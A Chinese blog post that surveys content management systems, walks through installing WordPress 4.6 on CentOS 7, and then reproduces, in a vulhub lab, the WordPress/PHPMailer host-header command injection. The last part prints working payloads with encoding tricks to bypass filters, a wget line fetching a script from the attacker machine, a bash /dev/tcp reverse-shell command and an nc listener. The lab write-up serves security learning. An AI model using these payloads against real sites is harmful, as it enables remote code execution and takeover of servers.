• CMS知识小结及wordpress的安装与漏洞复现



    一、内容管理系统(cms)

    1.定义

    • CMS是Content Management System的缩写,意为"内容管理系统",是一种帮助用户创建、管理和修改网站内容而无需专业技术知识的软件

    内容管理系统是一种位于WEB 前端(Web服务器)和后端办公系统或流程(内容创作、编辑)之间的软件系统。内容的创作人员、编辑人员、发布人员使用内容管理系统来提交、修改、审批、发布内容。这里指的“内容”可能包括文件、表格、图片、数据库中的数据甚至视频等一切你想要发布到Internet、Intranet以及Extranet(外网)网站的信息。

    内容管理系(CMS)是一种综合性比较强的软件系统,是指在一个合作模式下,用于管理工作流程的一套制度。内容管理系统可以像中央存储器(central repository)一样,将相关内容集中储存,主要有内容收集、内容管理、内容智能和内容发布等四个功能。目前流行的内容管理系统大多实现了SEO,即搜索面向引擎优化的URL。

    2.特色

    • 面向用户友好

    CMS系统存在的目的就是为了方便一些对网站编程、脚本代码不熟悉的人,来用一种比较简单的方式来建立、管理、运营自己的网站。CMS的功能并不只限于文本处理,它还可以处理图片、flash动画、声像流、图像甚至电子邮件档案。

    • 更加注重内容

    在互联网刚开始的时候,网站都是使用HTML编码方式,采取手动更新页面、手工填充信息,这样非常麻烦。后来慢慢的出现了ASP、PHP、JSP等动态脚本来编写网站,这段时期的网站通过脚本和数据库的交互实现网站数据的传递、方便发布和管理。但这段时期的网站脚本程序的开发,需要很大的成本,正常情况下只有大型网站才会自己开发。而如今,随着CMS程序的出现、发展和开源,任何人都可以使用CMS程序来快速、便捷的创建一个完整的网站。

    • 基本上,CMS 平台负责构建和管理网站的所有技术细节。

    简单来说,内容管理系统是一种工具,可以帮助您快速构建网站,而无需从头开始编写所有代码(甚至你可以完全不了解代码)不需要您自己通过系统来创建网页、存储图像和其他功能,而是为您搭建好所有基本的基础设施内容,以便您可以专注于网站中更多面向前方的部分。

    3.常见的cms

    • (1)DEDECMS织梦是国内使用人数相当多的内容管理系统,模板以及开发教程很多,非常适合中小型网站制作建设,但现在已不更新,而且安全问题要站长们自己处理。

    • (2)帝国CMS也是老牌的内容管理系统,帝国相比织梦更加的安全可靠,但是使用人数方面就没有使用织梦的多。

    • (3)WordPress国外开发的系统,刚开始用来做博客,现在也被广泛应用在企业或CMS网站制作上面,插件以及模板非常的多,扩展能力强,但是由于是国外开发的,所以后台操作方面等可能刚开始用感觉不习惯。

    • (4)PHPCMS:PHPCMS V9采用OOP(面向对象)方式进行基础运行框架搭建,非常适合二次开发,代码维护,满足所有网站的应用需求。

    • 补充分类

    1.企业建站系统:MetInfo(米拓)、蝉知、SiteServer CMS(.net平台)、Oracle甲骨文等;
    2.B2C商城系统:商派shopex、ecshop、hishop、xpshop等;
    3.门户建站系统:DedeCMS(织梦,PHP+MYSQL)、帝国CMS(PHP+mysql)、PHPCMS、动易、cmstop,dianCMS(易点CMS,.net平台)等;
    4.博客系统:wordpress、Z-Blog等;
    5.论坛社区:discuz、phpwind、wecenter等;
    6.问答系统:Tipask、whatsns等;
    7.知识百科系统:HDwiki;
    8.B2B门户系统:destoon、B2Bbuilder、友邻B2B等;
    9.人才招聘网站系统:骑士CMS、PHP云人才管理系统;
    10.房产网站系统:FangCms等;
    11.在线教育建站系统:kesion(科汛,ASP)、EduSoho网校;
    12.电影网站系统:苹果cms、ctcms、movcms等;
    13.小说文学建站系统:JIEQI CMS;
    14.政府网站群系统:JEECMS

    二、CentOS 7上安装WordPress

    1.搭建Wordpress服务器环境需求

    • php 5.2.4 或者更高版本、MySQL 5.0 或者更高版本。
    • mysql -V
    • php -v在这里插入图片描述
    • 注意安装LAMP服务器(这里我已经安过)
    • LAMP即由linux、apache、mysql、php构成的服务器环境。

    2.安装WordPress

    • 首先要做的是去WordPress的下载页面 并下载我们需要的版本的WordPress,我这里为4.6
    • wget https://wordpress.org/wordpress-4.6.zip在这里插入图片描述
    • 将WordPress归档解压缩到服务器上的文档根目录
    • unzip -q wordpress-4.6.zip -d /var/www/html
    • cp -a * ..(cp -a 此选项通常在复制目录时使用,它保留链接、文件属性,并复制目录下的所有内容)
      在这里插入图片描述
    • chown -R apache:apache /var/www/html我们需要更改一些文件夹权限
    • mkdir -p /var/www/html/wp-content/uploads我们需要手动创建上传目录
    • chown -R :apache /var/www/html/wp-content/uploads允许Apache Web服务器写入uploads目录。通过将此目录的组所有权分配给您的Web服务器来执行此操作,这将允许Apache创建文件和目录。
      在这里插入图片描述

    3.配置WordPress

    • 将配置WordPress的主配置文件,我们需要配置它的基本参数,以便可以与数据库和用户连接

    • 在wordpress目录下mv wp-config-sample.php wp-config.php
      在这里插入图片描述

    • 创建配置WordPress数据库

    • mysql -u root -p

    • 建立wordpress数据库

    • create user root1@localhost identified by '123456';创建wordpress数据库账户&&设置密码

    • GRANT ALL PRIVILEGES on wordpress.* to "root1"@"localhost" identified by "123456";授予wordpress数据库账户在wordpress数据库上所需权限

    • flush privileges;刷新数据库缓存
      在这里插入图片描述在这里插入图片描述

    • 修改配置文件,以便可以访问数据库

    • 修改前
      在这里插入图片描述

    • 根据自己需要修改后
      在这里插入图片描述

    • :wq!保存退出

    4.配置WordPress的Apache Web服务器

    • 为WordPress网站创建Apache虚拟主机
    • vim /etc/httpd/conf.d/vhosts.conf
      在这里插入图片描述
    • 接下来,创建虚拟主机
    • mkdir /etc/httpd/vhosts.d/
    • vim /etc/httpd/vhosts.d/yourdomain.com.conf
      在这里插入图片描述
    • 添加以下行
    
    ServerAdmin webmaster@yourdomain.com
    DocumentRoot "/var/www/html/"
    ServerName yourdomain.com
    ServerAlias www.yourdomain.com
    ErrorLog "/var/log/httpd/yourdomain.com-error_log"
    CustomLog "/var/log/httpd/yourdomain.com-access_log" combined
     
    "/var/www/html/">
    DirectoryIndex index.html index.php
    Options FollowSymLinks
    AllowOverride All
    Require all granted
    </Directory>
    </VirtualHost>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15

    在这里插入图片描述

    • 保存并关闭文件,重新启动apache服务以使更改生效

    • systemctl restart httpd
      在这里插入图片描述

    • 接下来,允许服务器防火墙中的Apache端口
      在这里插入图片描述

    • 重启相关服务

    • systemctl restart httpd.service

    • systemctl restart mysqld.service

    5.访问WordPress

    • 默认情况下,WordPress将在HTTP端口80上可用。
    • http://你的IP地址或域名/wp-admin/ 访问 就进入了word press安装页面了,照着要求填写就行了。
    • http://192.168.8.140/wp-admin/setup-config.php
      在这里插入图片描述在这里插入图片描述

    三、WordPress<= 4.6命令执行漏洞vulhub复现

    1.漏洞原理

    主要是phpmailer组件调用linux系统命令sendmail进行邮件发送,通过传入的SERVER_NAME获取主机名(即请求host值),而SERVER_NAME没有经过任何过滤,从而产生漏洞,而exim4(跟邮箱相关的函数)替代了sendmail的功能,即可以利用substr,run函数等进入绕过,构造payload。

    • 通俗的讲,就是利用burp suite抓取网站忘记密码通过邮箱或用户名提交获取新密码时的流量包,修改其host值,通过playload攻击载荷来进行文件的注入。
    • payload又称为攻击载荷,主要是用来建立目标机与攻击机稳定连接的,可返回shell,也可以进行程序注入等,也有人把payloads称 为shellcode。Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定漏洞的代码,一般可以获取权限。另外,Shellcode一般是作为数据发送给受攻击服务器的。
    • 影响版本:
    • WordPress <= 4.6.0
    • PHPMailer < 5.2.18
    • 环境:使用vulhub的环境,所有要先安装vulhub

    2.环境搭建

    • 攻击机:kali(192.168.8.144)

    • 靶机:centos7(192.168.8.148)

    • cd /root/vulhub/vulhub-master/wordpress/pwnscriptum

    • docker-compose up -d以后台的方式运行容器,安装此漏洞环境
      在这里插入图片描述在这里插入图片描述

    • http://192.168.8.148:8080/wp-admin/install.php访问地址
      在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述

    • 漏洞点在忘记密码处,输入用户名admin,点击获取新密码

    • http://192.168.8.148:8080/wp-login.php?action=lostpassword
      在这里插入图片描述

    • 打开攻击机kali使用burp suite对靶机进行抓包- 打开攻击机kali使用burp suite对靶机进行抓包
      在这里插入图片描述在这里插入图片描述

    • 为靶机的火狐浏览器的设置里面设置代理,IP为192.168.8.144,端口号为8080
      在这里插入图片描述

    • 抓到包后将其发送到repeater模块
      在这里插入图片描述在这里插入图片描述

    • 但是由于WordPress以及PHPMailer都会防止攻击者注入空字符,并且host字段值中出现’/'会出现请求错误,所以我们要绕过空格和/

    • 构造payload进行测试,主要是利用对空格和“/”进行以下转换

    • 空格 换为 ${substr{10}{1}{$tod_log}}substr{10}{1}是指取tod_log函数中的第10位,为空格

    • / 换为 ${substr{0}{1}{$spool_directory}}
      在这里插入图片描述

    • 初始构造的payload(该payload的作用是在/tmp/下创建yhz的文件夹)

    • target(any -froot@localhost -be ${run{/bin/touch /tmp/yhz}} null)

    • 转换之后的payload为

    target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}yhz}} null)
     
    
    • 1
    • 2
    • 发送拦截的修改过的数据包
      在这里插入图片描述在这里插入图片描述

    • 我们需要满足以下要求才能利用此漏洞

    注意:
    1.执行的命令不能包含一些特殊的字符,例如:,’,"等。
    2.该命令将转换为小写字母
    3.该命令需要使用绝对路径
    4.需要知道一个现有的用户名,这里是admin
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 然后我们进入靶机环境中查看我们所注入的文件
    • docker ps -a
    • docker exec -it 7465c48aa3d6 /bin/bash
      在这里插入图片描述
    • 查看/tmp/下创建的yhz文件夹
      在这里插入图片描述

    3.后续利用反弹shell

    思路和写入webshell差不多,是先使用curl或wget下载含有执行命令内容的文件,再通过命令执行达到反弹shell的目的
    攻击机开启web服务,写反弹shell命令,先用靶机测试一下看看能不能访问,注意关闭防火墙

    • bash -i >&/dev/tcp/192.168.8.144/7777 0>&1#反弹shell命令,ip填的是攻击机的ip,端口随便设置一个不冲突的就行
      在这里插入图片描述在这里插入图片描述在这里插入图片描述
    • 因此可以利用curl和wget远程下载文件,然后执行getshell构造payload进行远程文件下载
    • 上传shell之后,只需执行即可,构造执行shell.txt的payload
    • 构造初始的payload
    • target(any -froot@localhost -be ${run{/usr/bin/wget --output-document /tmp/yy 192.168.8.144/yh1.txt}} null)
    • 转换之后的payload
    target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}yy${substr{10}{1}{$tod_log}}192.168.8.144${substr{0}{1}{$spool_directory}}yh1.txt}} null)
    
    • 1

    在这里插入图片描述

    • 在靶机环境查看,已经远程下载了的yy文件
      在这里插入图片描述

    • 上传shell之后,只需执行即可构造执行yyshell.txt的payload

    • target(any -froot@localhost -be ${run{/bin/bash /tmp/yy}} null)

    • 转换之后为

    target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}bash${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}yy}} null)
    
    • 1

    在这里插入图片描述

    • 同时在kali开启监听
    • nc -vlp 7777
      在这里插入图片描述
  • 相关阅读:
    Unity DOTS学习 前置知识(一)
    LeetCode 0155. 最小栈
    S7-200SMART中定时器的使用方法和常见注意事项汇总
    c++11 thread
    python解析.hhr文件
    CUDA By Example(三)——CUDA C并行编程
    QT QWT配置环境和运行
    聊透常见设计模式之单例模式
    python+appium+pytest自动化测试-参数化设置
    线上操作规范
  • 原文地址:https://blog.csdn.net/weixin_46065653/article/details/126795788